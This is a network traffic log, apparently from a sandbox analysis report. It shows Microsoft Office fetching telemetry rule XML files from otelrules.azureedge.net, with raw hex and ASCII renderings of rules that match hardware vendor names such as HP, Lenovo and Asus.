2024-11-07 16:25:11 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 16:25:11 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: bfca7b67-501e-005b-6e78-30d7f7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T162511Z-17df447cdb56mx55hC1DFWvbt400000001kg00000000ds41 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 16:25:11 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.6	49719	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 16:25:11 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 16:25:11 UTC	538	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 16:25:11 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 7513f58e-b01e-005c-2901-2d4c66000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T162511Z-16547b76f7fwvr5dhC1DFW2c94000000085g00000000td5e x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 16:25:11 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.6	49721	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 16:25:12 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 16:25:12 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 16:25:12 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: ee786005-101e-0065-140e-2d4088000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T162512Z-16547b76f7fj897nhC1DFWdwq4000000089g000000005tts x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 16:25:12 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.6	49725	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 16:25:12 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 16:25:12 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 16:25:12 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 23cb21e1-e01e-0052-4e08-2cd9df000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T162512Z-16547b76f7fkcrm9hC1DFWxdag00000008f000000000f2g2 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 16:25:12 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.6	49723	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 16:25:12 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 16:25:12 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 16:25:12 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: 1a2e7d6b-a01e-000d-7bfc-2cd1ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T162512Z-16547b76f7fx6rhxhC1DFW76kg00000008a000000000hvqf x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 16:25:12 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.6	49724	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 16:25:12 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 16:25:12 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 16:25:12 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: e9380aa8-701e-005c-5160-2ebb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T162512Z-15869dbbcc6khw88hC1DFWbb2000000001xg00000000eqx8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 16:25:12 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.6	49722	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 16:25:12 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 16:25:12 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 16:25:12 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: 48bb68ea-401e-0016-35ff-2c53e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T162512Z-16547b76f7fkj7j4hC1DFW0a9g00000008e00000000046v5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 16:25:12 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.6	49730	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 16:25:14 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 16:25:14 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 16:25:14 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: 676680a8-d01e-0082-1c5c-2ee489000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T162514Z-15869dbbcc6zbpm7hC1DFW75xg00000001kg00000000mh4u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 16:25:14 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.6	49729	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 16:25:14 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 16:25:14 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 16:25:14 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: def873b9-d01e-0065-46f7-2cb77a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T162514Z-16547b76f7fr4g8xhC1DFW9cqc00000007k000000000d9wk x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 16:25:14 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.6	49728	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 16:25:14 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 16:25:14 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 16:25:14 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: ea0f8f90-301e-0020-7758-2e6299000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T162514Z-15869dbbcc6kg5mvhC1DFW74ts00000001y000000000bpr0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 16:25:14 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.6	49727	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 16:25:14 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 16:25:14 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 16:25:14 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: 52c466ac-c01e-007a-7901-2db877000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T162514Z-16547b76f7fj5p7mhC1DFWf8w400000008f000000000fkk6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 16:25:14 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.6	49726	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-07 16:25:14 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 16:25:14 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 16:25:14 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: 2e71ae26-601e-0097-6701-2df33a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T162514Z-16547b76f7fxdzxghC1DFWmf7n00000008e000000000mdn3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 16:25:14 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.6	49731	13.107.246.45	443

